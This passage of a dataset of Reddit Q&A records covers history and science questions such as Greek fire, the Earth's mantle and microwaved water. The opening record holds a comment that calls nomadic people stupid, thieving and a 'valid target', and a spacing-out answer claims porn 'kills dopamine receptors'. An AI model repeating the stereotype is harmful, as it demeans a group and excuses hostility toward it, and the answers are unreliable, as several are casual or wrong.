northern Alaska, where in Canada they prefer to be called Inuit (and really really don't like Eskimo). Side note on that, I live in Nunavut and we still have things in town like the Eskimo Co-Op and Eskimo contracting, nobody seems to react to those names, but would be quite irate if they were to be called an Eskimo.", "There is a debate, but let's assume for a moment it is a slur.\n\nIt's used to describe a way of life which isn't really compatable with the 21st century. Hell, being nomadic is pre agricultural revolution! It's a way of life rendered obsolete more than 10 thousand years ago. \n\nIt's also a choice, at least for the adults. So it isn't a racial issue.\n\nSo what you have is a group of people living an outdated and perceived inferior life for no apparent reason. They also tend to be poor, frequently steal, and do not follow the legislation and laws of the lands in which they reside, because their lifestyle is designed for unclaimed land, which hasn't realy existed for hundreds of years.\n\nSo when a group of people, for reasons of apparent stupidity, move in near by, fail to get planning permission, steal shit, and fail to make a contribution to society, people see a valid target. And I'm not sure that, at least with the adults, I can argue with that.", "If you need to go to an encyclopedia or dictionary to find out whether or not a word is a slur then I think it may not be much of a slur anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1ag6m0", "title": "The cheirosiph\u014dn, the Byzantine flamethrower", "selftext": "I've asked a few questions pertaining to the weapon on here before, but there are several things left unanswered. \n\n1. I hear an occasional mention that, in addition to the drawing in  [Parangelmata Poliorcetica by Hero of Byzantion](_URL_1_), that there is a Byzantine manuscript that shows a schematic of a cheirosiph\u014dn. However, I have not been able to locate such a work anywhere. Is there anyone who is a master of Byzantine manuscripts that knows of such a work? If so, what is it called, and is it possible to get a copy? Since Leo VI apparently invented the weapon, does such a diagram exist in the original manuscripts of the Tactika?\n\n2. I'm still not convinced that cheirosiph\u014dnia necessarily fired by just the push stroke. This seems like a cumbersome mechanism to use during siege warfare. Is there any evidence that points to some kind of pressure release trigger mechanism? On a related note: I know crossbows had a form of trigger system, so is this really such a far-fetched idea? \n\n3. What was the maximum range of this weapon? I've heard varied reports saying that it could shoot anywhere from 10-40 feet. Where do these numbers come from? Are there any manuscripts that mention the effective range?\n\n4. Has anyone attempted to build a *BYZANTINE* cheirosiph\u014dn? I know the Ottomans made a few in the 16th century, but I'm hesitant to use those as valid evidence - they didn't utilize true Greek Fire and they don't show up until at least a century after the fall of Constantinople. These seem, to me, independently developed weapons because the Byzantines stopped using Greek Fire after 1204 - 250 years before the Ottomans captured Constantinople. Anyways, I've seen the video from \"Ancient Discoveries\" on [Youtube](_URL_0_), but that seems to be based on the Ottoman design. What I'd like to know (and this is based on my previous questions) is, do we have enough information to construct the cheirosiph\u014dn? Do we have the schematics? Have we leafed over every possible manuscript? Are there still manuscripts left unread? Has anyone else constructed an \"as faithful as possible\" version of the weapon?\n\n5. For all of you Ancient Greek/Roman technology buffs: what kinds of technologies/discoveries of the ancient world made possible:\n\n- Small-scale pressure storage\n- Flame preservation and reproducible on-the-fly ignition\n- Siphons\n\n6 . And finally, was the weapon single-use? Or could it be \"re-loaded\" with Greek Fire \"cartridges\"? It seems rather silly to throw away such a complex piece of equipment after one use. Did the flame perhaps cause permanent damage to the weapon?\n\nThanks in advance.\n\n-Ambarenya", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ag6m0/the_cheirosiph\u014dn_the_byzantine_flamethrower/", "answers": {"a_id": ["c8xh1d2"], "score": [2], "text": ["Back when the History Channel still did History, they had a show called Ancient Discoveries where they attempted to reproduce several objects mentioned in antiquity. The Greek Flamethrower was one of them.\n\nHere's the link on Youtube (sorry about the poor quality)\n_URL_0_\n\nEDIT: I personally don't know too much about Greek fire, except that it was based around oils and used some knowledge of chemistry and physics. But that is the extent of the information that I have."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=pVhsduCQyIA", "http://upload.wikimedia.org/wikipedia/commons/2/25/Hand-siphon_for_Greek_fire%2C_medieval_illumination.jpg"], "answers_urls": [["http://www.youtube.com/watch?v=EASbMs7V4ok"]]}
{"q_id": "5ol46l", "title": "Can you \"create\" essential elements for humans, like oxygen, without recycling it?", "selftext": "Say a group is sent on a mission on some planet. But it's impossible to send further supplies.\n\nIs it possible to produce certain elements that are necessary for a person to live? Like oxygen and nitrogen? I think at least it's possible to mine water out of asteroid ice.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ol46l/can_you_create_essential_elements_for_humans_like/", "answers": {"a_id": ["dck576u", "dck5ypa"], "score": [8, 2], "text": ["You can't easily create them as that takes nuclear fission or fusion (though something useful could be a byproduct of power generation in the future).  However, it is pretty easy to convert other substances into the stuff you need as long as you have some good hardware and a lot of energy.\n\nFor example we can make oxygen out of pretty much anything that has oxygen in it, notably water or carbon dioxide.  It takes a lot of energy input but we know how to do it.  If you don't have those present there are thousands of other things we could use that have oxygen like dirt which often contains a lot of metal oxides (rust is iron oxide, limestone is calcium oxide, etc).\n\nSome things are definitely harder than others.  For example if we want nitrogen to grow plants with then we need to convert elemental nitrogen (N2) into a form plants can use like ammonia (NH3).  We can get the nitrogen and hydrogen from a lot of places but turning N2 and H2 into NH3 requires a ton of energy and pressure, and that might be much harder to do out in space.  However, there are always other pathways and we could do something like make ammonia through a biological route (bacteria).", "We can get oxygen from water. Or from quite a lot of rocks if we're desperate. Nitrogen is a much bigger problem. Nitrogen compounds do exist in the ground, but not to nearly the same extent as oxygen. We'd have to find nitrogen deposits and unless we're willing to import nitrogen we're not going to be able to terraform a planet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fqbs58", "title": "Covid-19 can have up to a 14 day incubation period, where some people have no symptoms. What is happening/what is the virus doing during that time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fqbs58/covid19_can_have_up_to_a_14_day_incubation_period/", "answers": {"a_id": ["flprc7w", "flr09rw"], "score": [23, 2], "text": ["Basically speaks to the reproduction rate of the virus. Until there is a large population of the virus it will not affect your body enough to cause adverse reactions aka symptoms. During this time because you are infected and human beings are constantly shedding cells as well as spewing particulate you can infect others.", "Replication/reproduction. Think like this: if you're exposed to any pathogen, you're likely not taking in a lot of it. Whether that be viral, or bacterial. Once in the body, it begins to replicate and at some point the immune system gets wind of it and starts fighting it - a lot of symptoms from many diseases are a result of the immune response, not the pathogen itself.\n\nSomeone can have HIV, hepatitis, syphilis, and many other diseases for potentially years before they show any symptoms or signs of infection. Some diseases will show an early sign, then disappear for years (think chickenpox/shingles) before returning - often infecting a totally different area of the body or with very different presentation from the first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22pmoq", "title": "What would happen if you left a steak on the Moon?", "selftext": "It doesn't have to be a steak - any cut of meat would work. Assume that it's not in a bag or any protective housing. How long would it last, and are there any circumstances where someone would be able to eat it afterwards? What would happen to them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22pmoq/what_would_happen_if_you_left_a_steak_on_the_moon/", "answers": {"a_id": ["cgpge1m"], "score": [12], "text": ["It will freeze-dry at night and boil in vacuum during the day. \n\nWith a bit of practice, salt and spices you could probably do a decent beef jerky. Be warned that the surface of the moon is rich in calcium oxide and other basic compounds, which are bad for you and will make the steak taste bitter. Use only clean surfaces for food preparation.\n\nRepeated temperature swings and ionizing radiation are bad for organic molecules e.g. porterhouse. It will eventually be reduced to a lump of carbon. If you wait long enough, the resulting hockey puck may be struck by a micrometeor.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "52bo3m", "title": "why can't the police or banks trace the money, when people are scammed through irs or over the phone?", "selftext": "My parent's (entering old age) received a call about a lawsuit being filed against them. I told them it was fake and to hang up. Now out of curiosity, why can't the police find the perpetrators? Yes, i know it's hard to trace phone call but what about for victims that have paid them through their Credit card? Isn't it easy to see where the money is going?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52bo3m/eli5_why_cant_the_police_or_banks_trace_the_money/", "answers": {"a_id": ["d7iyuje", "d7j547l", "d7j72pa", "d7jju06"], "score": [82, 17, 33, 2], "text": ["Ever played keep away? The person in the middle is wildly chasing the person that has the object, as the chaser get close the person throws the object to another. So the chaser has to go running towards the second person, and so on.\n\nSame thing with these scam artists, the money is quickly routed through various international banks all over the world. Sometimes in countries where the local cops have been bribed not to look, or are too poorly trained and under staffed to bother with a crime that happened abroad. Within a few hours or days of the con artists getting the money, it's been withdrawn and laundered. \n\nThink of a very simple example, I'm a friend of a friend who is crashing at your house after a crazy party. I'm someone your friend barely knows, and only recently met. While you're sleeping, I steal a $100 bill from your wallet. By some luck, you know that bill's serial number. \n\nIn the morning, I leave early, go to a local shop, and change the $100 for 5x$20. Even if you manage to trace the $100 it's now been split up as $20s which will be harder to trace. Even if you manage to trace those $20s, I've gone somewhere else, bought something with the $20, or maybe bought prepaid gift cards with them. Add in,  maybe I gave some of that money to another person. \n\nBy the time you catch up with me, proving that I took your $100 will be difficult, and I probably don't even have the money anymore anyways.\n\nSame with these con artists, the person on the phone is \"just an employee\" of a larger criminal syndicate. ", "great you traced to money to Bulgaria.  you make a call over to there.  but by the time the police go check the records, it's already been transfereed out.  to Mexico. ok you call that bank in mexico.   sorry.  it's gone already, it's in china.    sorry it's gone already it's in canada.   sorry it's gone already to australia.   sorry it's gone already to egypt.\nsorry the money's gone already, the account was closed and looks like the identity of the person used to open the account was fake.   ", "Former IRS here:\n\nThe majority of the money from that scam is being sent offshore. The scam originates in Pakistan, India and China. We don't have very good legal agreements with these countries to do much about it, and it isn't worth it (from the Governments perspective) to try to go after these small time crooks. \n\nThese frauds can be tracked and traced, it's just there isn't jurisdiction to do anything about it.", "Realistically speaking, the IRS could flag multiple accounts with the same ABA/account number as fraudulent and require some sort of verification.\n\n\nUnfortunately, the IRS isn't really set up to do that on multiple levels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1bnma7", "title": "Would it be possible/of any benefit to paint the inside of a swimming pool in a super hydrophobic coating?", "selftext": "I realise it's possible, but perhaps wildly impractical? Would the water behave differently to the point where you wouldn't want it for your backyard pool? If not, could there perhaps be benefits in such a treatment towards limiting the growth of algae or something similar? \n\n\n\nThanks in advance, Science!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bnma7/would_it_be_possibleof_any_benefit_to_paint_the/", "answers": {"a_id": ["c98c1jt", "c98dwfg"], "score": [2, 3], "text": ["It could certainly be done, the cost would be large but not unreasonably so. The observed effects would be minor curiosities, consisting mostly of bubbles sticking very tenaciously to the walls (the walls would wet eventually as they were touched, or just due to the large pressures in deeper parts of the pool). About the algae, I would just be speculating, but chlorine already takes pretty good care of that.", "Would coating the hull of a boat with hydrophobic material have any kind of impact on the boat?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "14fyhs", "title": "the friendship paradox", "selftext": "I've read the [Wikipedia page](_URL_0_) and other articles, but I still don't understand it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14fyhs/eli5_the_friendship_paradox/", "answers": {"a_id": ["c7cphdm", "c7cpkh7", "c7cttwj", "c7d1glh"], "score": [13, 106, 4, 2], "text": ["For those that don't want to read the wiki article, the Friendship paradox is \"most people have fewer friends than their friends do, on average\".\n\nFor example, let's take 5 people, Al, Betty, Carl, Don, and Elvira. Al is friends with everybody, but everyone else is only friends with Al. (i.e. Carl and Don are not friends). Al has 4 friends, everyone else has 1. It seems odd, but all of Betty's friends have more friends than her, all of Carl's friends have more friends than him, all of Don's friends have more friends than him, and all of Elvira's friends have more friends than her.\n\nThe general reason this happens is because of social hubs like Al. Al is friends with lots of people (maybe he's just a friendly guy), so he makes the average of \"friends of my friends\" shoot way up. Also, unsurprisingly, since in knows so many people some of those people will only have a few friends. \n\nIt's surprising because most people think they are better than others, and therefore think they will have more friend, but this is rarely true.", "The friendship paradox says that you have fewer friends than your friends have.\n\nWhat skews the figures is that you're more likely to be friends with popular people. You are less likely to be friends with lonely people.\n\nFor example, you're more likely to be friends with a super cool party dude, because he's out there getting numbers doing cool stuff. You are less likely to be friends with a guy who sits at home reading books. Therefore, you have fewer friends than party guy, and you feel bad about that. But whilst you also have more friends than book guy, you'll never find that out because you'll never meet him and become friends, because he never leaves the house.\n\nIt's a bit like if you signed up for a club for rich people. You'll find that the average club member has more money than you. *Because it's a club for rich people*. Now swap money for social awesomeness and you have the friendship paradox explained.", "[Friends You Can Count On](_URL_0_)", "I know I'm late to the party, but this theory/paradox is broken by simple perspective.\n\nSay you're friend 1 and I'm friend 2. Eric is a mutual friend that's a party guy. We'll use our number of Facebook friends for this example.\n\nEric has 500 friends. You have 306 friends. I have 40. (No really, I have 40.)\n\nFrom Eric's perspective, you're the friend, and I'm the friend of a friend. And the paradox works.\n\nFrom your perspective you have more friends than me. So far, so good. However, you have less friends than Eric. Paradox semi-broken since your Point Zero.\n\nFrom my perspective, you both have more friends than I do and you're both dicks for having more friends. I hate you guys. Also, I shattered your paradox.\n\nProbably not worded the best, for a better explanation, try this.\n\nGo to Facebook, click on a random friend and pretend that you are them. Notice their friend count and click on a random person, if there are more, paradox broken because the original friend was point zero and remember according to the Friendship Paradox, the next friend is supposed to have less friends."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Friendship_paradox"], "answers_urls": [[], [], ["http://opinionator.blogs.nytimes.com/2012/09/17/friends-you-can-count-on/"], []]}
{"q_id": "2gh89l", "title": "why is it that if it's on your wrist, it's a watch, but if it's on the wall, it's a clock? and why is it called a clock?", "selftext": "Can someone shed some light?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gh89l/eli5why_is_it_that_if_its_on_your_wrist_its_a/", "answers": {"a_id": ["ckj26fd"], "score": [15], "text": ["Second question first.  Why is it called a \"clock\"?  According to the [Online Etymology Dictionary](_URL_1_):\n\n > late 14c., *clokke*, originally \"clock with bells,\" probably from Middle Dutch *clocke* (Dutch *klok*) \"a clock,\" from Old North French *cloque* (Old French *cloke*, Modern French *cloche*), from Medieval Latin (7c.) *clocca* \"bell,\" probably from Celtic (compare Old Irish *clocc*, Welsh *cloch*, Manx *clagg* \"a bell\") and spread by Irish missionaries (unless the Celtic words are from Latin); ultimately of imitative origin. \n\nSo the word \"clock\" appears to originate as being named after the bells that they rung.\n\nAs for \"watch\", again from the [Online Etymology Dictionary](_URL_0_):\n\n > Military sense of \"military guard, sentinel\" is from late 14c. General sense of \"careful observation, watchfulness, vigilance\" is from late 14c.; *to keep watch* is from late 14c. Meaning \"period of time in which a division of a ship's crew remains on deck\" is from 1580s. The meaning \"small timepiece\" is from 1580s, developing from that of \"a clock to wake up sleepers\" (mid-15c.).\n\nSo \"watch\" meaning \"timepiece\" seems to derive from using a small clock to wake soldiers up for their watch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?term=watch", "http://www.etymonline.com/index.php?term=clock"]]}
{"q_id": "5w6brp", "title": "is there a biological explanation for spacing out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5w6brp/eli5_is_there_a_biological_explanation_for/", "answers": {"a_id": ["de7ph60", "de7pvlz", "de7teq5", "de7uiok", "de82whc"], "score": [4, 280, 25, 4, 2], "text": ["I remember someone asking this before in the past. The answer was something along the lines that it gives our brains a moment to relax since they're constantly working. ", "Like all processes and activities controlled by the brain, paying attention requires the release of neurotransmitters onto neurons (in this case, specifically those associated with motivation and learning).\n\nA prolonged and constant stimulus (e.g. listening to a long lecture) that induces neurotransmitter release can use up all the neurotransmitter, which would cause the neural pathway to become fatigued. Therefore, the neurons involved in this activity are said to have become acclimatized - unresponsive to further stimulation.\n\nAcclimatized neurons are the reason you space out. The particular regions of the brain involved in motivation and learning about the given subject are simply out of neurotransmitter and can't process further inputs.\n\nHowever, these neurons can be responsive again once they reuptake the neurotransmitters. This happens automatically but occurs fastest when you preoccupy yourself in another activity, which allows a different set of neurons to be used instead of the ones that are fatigued.\n\nSome people space out less than others because the same activity might activate a different number of neurons or have a different pattern of neuronal activation from person to person. In brains where the total activation is spread out among more neurons, the fatigue takes longer to set in.\n\nSo a person who loves history might actually enjoy a long, complicated, and monotonous lecture on the Civil War because it activates different parts of his brain over a larger volume of it. Whereas, in a person who is not interested in history, the lecture would stimulate (and strain) the few parts of the brain that they would use to try to understand the lecture, such as those associated with speech and memory.     ", "The brain regions most strongly implicated in mind wandering are called the default mode network.  This network has abnormal properties in people who have ADHD.  The default mode network is the part of the brain that is most active when spacing out, when thinking of oneself, and when thinking about ones social group.  The Wikipedia article has some great pictures.\n\n_URL_0_", "Attention is mainly due to dopamine. Sometimes get too much dopamine from a particular tract of sensory neurons delivering information to your brain. \n\nSo it seems dopamine is highly elevated prior to ejaculating to porn, and then comes crashing down afterwards, and by doing that we are actually killing our dopamine receptors and weak neurons in the brain and it's all because of the abnormal hit of dopamine.\n\nIt also has to do with subclinical electrical changes in random parts of the brain that don't fire when they aren't in sync. It'd be like if you're on the Titanic to send a morse code message asking for help, but you have no sense of rhythm and you send a jumble of beeps. So the morse code listener is not alarmed by an SOS message, but just thinking it is noise.", "Wish I had the attention span to read all these comments. I'd probably learn something about myself :P "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Default_mode_network"], [], []]}
{"q_id": "8mqs1m", "title": "How far back can we trace the stereotype that Northern Europeans are reserved and punctual and that Southern Europeans, in turn, are expressive and more relaxed about time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8mqs1m/how_far_back_can_we_trace_the_stereotype_that/", "answers": {"a_id": ["dzpxn9u"], "score": [94], "text": ["Follow-up: In Roman sources, Northern Europeans are depicted as undisciplined and impulsive, quick to anger, deeply individualistic, and resentful of authority. And the Romans depict themselves as patient, organized, disciplined, and focused. Now, this isn't really an inversion of OP's question, but I would like to read something about the transitional phases that seem to have shifted these traits so sharply. Thanks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9od1pd", "title": "What causes the juice in a mandarin peel to catch on fire if you shoot it a flame?", "selftext": "My friend and I had an argument over this. She thought there was alcohol in the peel of the mandarin but I thought it was some kind of oil that caused it. Can someone tell me what the correct answer is?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9od1pd/what_causes_the_juice_in_a_mandarin_peel_to_catch/", "answers": {"a_id": ["e7t888t", "e7ujbzu"], "score": [28, 5], "text": ["It's an oil called [limonene](_URL_0_). [Here is an SDS for limonene](_URL_1_), as you can see it's a flammable liquid.\n\nIt's also categorically **not** an alcohol.", "The skin contains small oil glands, you can see these if you peel an orange or lemon with a potato peeler.\n\nThe glands contain an oil with a high percentage of compounds called terpenoids. These have similar physical properties to gasoline.\n\nOne of the most common components is called \"limonene\" which has produces the characteristic aroma of oranges and lemons.  This is also fairly flammable.\n\nWhen you tear or damage the skin, it causes the oil glands to rupture, spraying a mist of tiny droplets of flammable oil.\n\nThis is probably a defense mechanism as most insects find the smell to be repulsive, so trying to chew into the fruit will spray them in the face with noxious oil. \n\nBut humans oddly find the aroma to be delicious, which is good because it encourages humans to pick the fruit and then discard the seeds far from the mother tree. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Limonene", "https://www.fishersci.co.uk/chemicalProductData_uk/wercs?itemCode=10224200&amp;lang=EN"], []]}
{"q_id": "10uazx", "title": "Could a massive earthquake open a crack in the earth's crust and drain the oceans into the mantle?", "selftext": "Comparatively, the continental and ocean crust is so very tiny compared to the rest of the structure of the earth. \n\nPerhaps there are massive caverns within the mantle that are separated from ocean floor by only a few miles that could be breached by some seismic event. \n\nIs this possible? Would life on this planet be effectively extinguished in this scenario?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10uazx/could_a_massive_earthquake_open_a_crack_in_the/", "answers": {"a_id": ["c6gp6mn", "c6gp7eb", "c6gsn1v", "c6gteei", "c6gws13", "c6gynq0"], "score": [22, 124, 2, 60, 4, 2], "text": ["The big problem with this theory is the thought that there could be giant caverns capable of containing an ocean's worth of water. We know from studying seismic waves just how quickly they travel through the earth. This process also lets us determine, fairly roughly, what material the inside of the planet is made of. So far, no giant caverns that can hold the planet's waters. \n\nAlso, when an earthquake allows magma to rise up from the asthenosphere (part of the upper mantle) the ocean water doesn't really flow down underneath the crust. Instead, the magma is forced up into the ocean water and forms lovely [pillow basalt](_URL_1_) formations. Add to that the fact that even though the crust is indeed relatively thin, the mantle only comes close to the surface at [mid-ocean ridges](_URL_0_) which is where the planet makes the bottom of the ocean floor - a process which happens continuously.\n\nSource: Currently taking physical geology.", "As one goes down the pressure increases. This tends to squish any voids. There are not likely to be any voids large enough to contain the oceans that aren't already filled.\n\nIt is relatively common for volcanic eruptions to throw out material leaving a cavity in/above the magma chamber into which stuff collapses. But to make this chamber material gets chucked out first - so the overall volume remains constant - and the oceans are a big, huge, whopping volume of water. Even a supervolcano with a chamber the size of the one under [yellowstone](_URL_1_) would barely make a dent in oceans (if it was near water).\n\nSupervolcanic eruption could eject on the order of 80 cubic kilometres. Versus [1.4 billion](_URL_0_) cubic kilometres of water on Earth.", "Not only is pressure higher in the mantle and crust, but density is higher as well.  Everything is at or close to an equilibrium.", "Nope. Ocean water is less dense than the mantle, and so it won't ever sink below it. You do get water entering the mantle, which catalyzes melting and causes volcanoes, but that's only under subduction zones, where water in the rocks of the subducting slab is eventually forced out by the pressure. \n\nWe actually DO have rifts in the Earth's crust, but because the mantle is so much denser than seawater, you instead get the magma rising up into the water, forming pillow basalts. These rifts are the mid-ocean ridges, and they're divergent plate boundaries. \n\nAs for massive caverns within mantle, that's also impossible. Caverns are formed by erosional processes. There's no erosion in the mantle. Any caverns that somehow manage to end up in the mantle wouldn't survive anyway, they'd get squished out during convection of the mantle. \n\nSource: I'm a geology major.", "No. For a number of reasons.\n\nFirstly, there are no large caverns below the crust. We know this because we can use seismic waves from earthquakes to act as a kind of ultrasound (although, for the earth it's really an infrasound). Voids would be very obvious, and we don't see any. We don't really expect any either - the density and pressure at depth would force any voids closed.\n\nSecondly, the crust already has faults which cut through it. The oceanic crust is punctured by transform faults which reach throughout the brittle layer. There are also subduction zones which water can escape down through.\n\nThis transport of water is significantly impeded by pressure increasing with depth. This tends to close pores and fissures which water could travel down. Furthermore, water has a density of about 1000 kg per cubic meter, while mantle material is more like 5000. A body of water will always rest above the mantle rather than sink into it. Water can be drawn down through subduction and circulation processes, but not in ocean-volume quantities, and not rapidly.\n\nThe bigger issue is temperature. The mantle is at 1100+ degrees C. You put water near it and it flash boils, and cools the mantle. That cooled mantle is a crust. So even if you remove old crust, the water will cool the exposed mantle to form a new crust.", "Drain into what?  It's not hollow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pmel.noaa.gov/vents/nemo/education/images/plates_sm.jpg", "http://www.mbari.org/expeditions/EasterMicroplate/images/SubSea1.20050405_174720.jpg"], ["http://ga.water.usgs.gov/edu/earthhowmuch.html", "http://news.nationalgeographic.com/news/2009/12/091215-yellowstone-volcano-magma-plume-larger/"], [], [], [], []]}
{"q_id": "44riz1", "title": "How did elections work in the early Caliphates?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/44riz1/how_did_elections_work_in_the_early_caliphates/", "answers": {"a_id": ["czsmwzt"], "score": [2], "text": ["Election by shura was a method used only in the Rashidun Caliphate. The Ummayad and Abbasid Caliphates were hereditary systems, the Ummayad starting with a horizontal succession (brother to brother) before going vertically (father to son) and this was the system the Abbasids too used.\n\nNow for the Rashidun Caliphs, there were 4: Abu Bakr al-Siddeeq, Umar ibn al-Khattab, Uthman ibn Affan, and Ali ibn abi Talib. The election of Abu Bakr came amongst the backdrop of the death of the Prophet Muhammad, and while the Muslim notables were gathered in Shura (council) trying to elect a new leader, Abu Bakr and Umar went to them. After a short discussion, Umar put Abu Bakr fowards and said he would pledge allegiance to Abu Bakr. The notables agreed and pledged their support, and it was decided amongst them that Abu Bakr would become Caliph. This established that there was no \"mass vote\" amongst the Muslim population, as it was the select few notables such as tribe leaders etc who voted. However some jurists went even more specific, saying that there only need be 5 electors to elect someone and make him a legitimate Caliph, as the notables who eventually agreed on Abu Bakr were first led by Umar himself, Abu Ubayda ibn al-Jarrah, Usayd ibn Hudayr, Bish ibn Sa'd, and Salim. \n\nThis view is also reinforced by the second Caliphs Umar own system of nomination for his successor: he chose a council of 6 from which there was to be a majority vote by them on their fellow peers to choose the next Caliph. Umar himself became Caliph because he was selected by Abu Bakr as his successor, also showing evidence that for a Caliph to choose his successor was not illegal under the Sharia. \n\nUmars council of 6 which would elect the next Caliph, Uthman, included: Sa'd ibn abi Waqqas, Abd al-Rahman ibn Awf, Zubayr ibn Al-Awam, Talha bin Obaidullah, Ali ibn abi Talib, and Uthman. When Umar died, the first 4 stepped out of the \"race\", leaving the choice between Uthman and Ali, and Uthman was eventually elected with all members of that council giving him allegiance.\n\nAli was appointed by the majority of the people of Madina during turbulent times, and it was arguably forced on Ali who initially refused to be appointed Caliph after the murder of Uthman. While most of Madina, the capital of the Islamic State at the time, gave him allegiance, the family of Uthman, Bani Umaya (Ummayads) and some other notable Sahaba (companions of the Prophet) fled and essentially refused to pledge allegiance.\n\n\nAnyhow, we see there was a different instance of election for each Caliph, stabilising into the heriditary succession used by the Ummayads and Abbasids from 661 CE-1517 CE. \n\nTo summarise;\n\n* The First Caliph, Abu Bakr: Elected by the leaders of the Muslims\n* The Second Caliph, Umar: Chosen as successor by Abu Bakr\n* The Third Caliph, Uthman: Appointed by a council of 6\n* The Fourth Caliph, Ali: Appointed by the majority of residents and notables of Madina \n\nEven within these instances, different interpretations were seen by some Jurists, e.g. through Ali's appointment, some Jurists say that the Caliph can be appointed by majority vote of the people, but this only applies to the Capital. But thats a different, longer story. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ini72", "title": "How thick would a piece of styrofoam have to be in order to stop a bullet?", "selftext": "I don't know much about guns, but assume that it's just a normal bullet from a 9mm handgun from about 10 feet away or so.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ini72/how_thick_would_a_piece_of_styrofoam_have_to_be/", "answers": {"a_id": ["cb66txd", "cb6hwtp"], "score": [33, 2], "text": ["**EDIT:** My initial calculation was very wrong. I took the density of solid polystyrene, which is close to that of water. Extruded polystyrene foam is about 2 orders of magnitude less dense- the calculations below use this value.\n\nUsing [Newton's impact depth](_URL_0_) approximation, assuming a 1 cm long bullet made of iron (density = 8  g/cm\u00b3 ) and that the styrofoam has a density on the order of 0.5 g/cm\u00b3, you get that the bullet penetrates 160 cm into the foam. For a heavier metal, like lead, you might get up to 220 cm into the material; and similarly for a longer bullet. Of course, the density of styrofoam varies a lot, and for such a major density ratio (solid metal to foam) the impact depth approximation may not hold. \n\nTLDR: Almost certainly over a meter, depending highly on the exact density of the foam. \n", "As a corollary, how large would the styrofoam have to be to reduce the bullet to non-lethal speeds? To speeds unlikely to cause injury?\n\n200-330 ft/s can pierce the skin, so I guess the easiest thing to do is to take those values as injurious and lethal, respectively. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Impact_depth"], []]}
{"q_id": "1p9d3j", "title": "When a teabag/sugar is put into water heated up by microwave, the reaction is different to water heated up by a boiling kettle. Why?", "selftext": "If you heated water to boiling point by 2 different techniques, the reaction of putting a teabag/sugar into the cup is different.\n\nTechnique 1: Mug of water is microwaved to boiling point and then teabag or sugar is put in. In both cases, the water sizzles and turns cloudy, even as you mix it with a teaspoon.\n\nTechnique two: Water is boiled in a gas or electric kettle and then poured into a mug. A teabag or sugar is put in. The water remains clear even as you mix it with a teaspoon.\n\nWhy is there this difference?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p9d3j/when_a_teabagsugar_is_put_into_water_heated_up_by/", "answers": {"a_id": ["cd02w72", "cd0723v", "cd09bzo"], "score": [754, 17, 5], "text": ["When water is heated, it can hold less dissolved gas. In a boiling kettle,the agitation causes the excess gas to come out of solution. In the microwave the water heats and becomes supersaturated with gas, even after the water is no longer boiling ( < 100C). Your introduction of the tea bag provides nucleation points for dissolved gasses to come out of solution (like carbonated water in a chipped or dirty glass). \nEdit: corrected to \"solution,\" not suspension. ", "There are a few variables to consider:\nWhere is the water being heated, and how is the water being heated.\n\nFirst, consider convection: in a kettle the water is heated from the bottom. This does two things - it aids convection and it creates a local hot spot. Because the vapor pressure is what we're really interested in - it helps to know about the gas law (PV=nRT or, pressure *volume = number of moles * gas constant * absolute temperature... in reality there's an alpha term for activity, which is a fudge factor that largely depends on the substance in question and the chemical equilibrium - since water molecules are going into and out of the gas and liquid phases). It also has to do with the equilibrium - you can look at a phase diagram to get an idea of what an equilibrium would look like at a given temperature and pressure here's a phase diagram for water (from wikipedia): [phase diagram for water](_URL_0_)\n\nIn the microwave there's not a hotspot at the bottom, so there's less pressure compressing steam bubbles along the height of the container (and only atmospheric pressure at the surface... although, assuming both kettle and microwave container are the same height/pressure there are still big bubbles that form in the microwave at the bottom, under the higher pressures) - you tend to get bigger bubbles in a kettle because only a big bubble can overcome the pressure to compress steam into water.\n\nThe height of the column of water, necessarily, means that we are not dealing with an isobar, and the local heating in a kettle means we aren't dealing with an isotherm (the straight line axis on the phase diagram).\n\nIn the microwave we have more of an isoterm than in a kettle, because the microwaves bounce around (although mircowaves are around the centimeter wavelengths in household appliances: [cool video/cheese experiment](_URL_1_)) assuming you have a spining turntable you can more reliably assume an isoterm.\n\nConvection plays a less important role in an isoterm, so there's less reason for 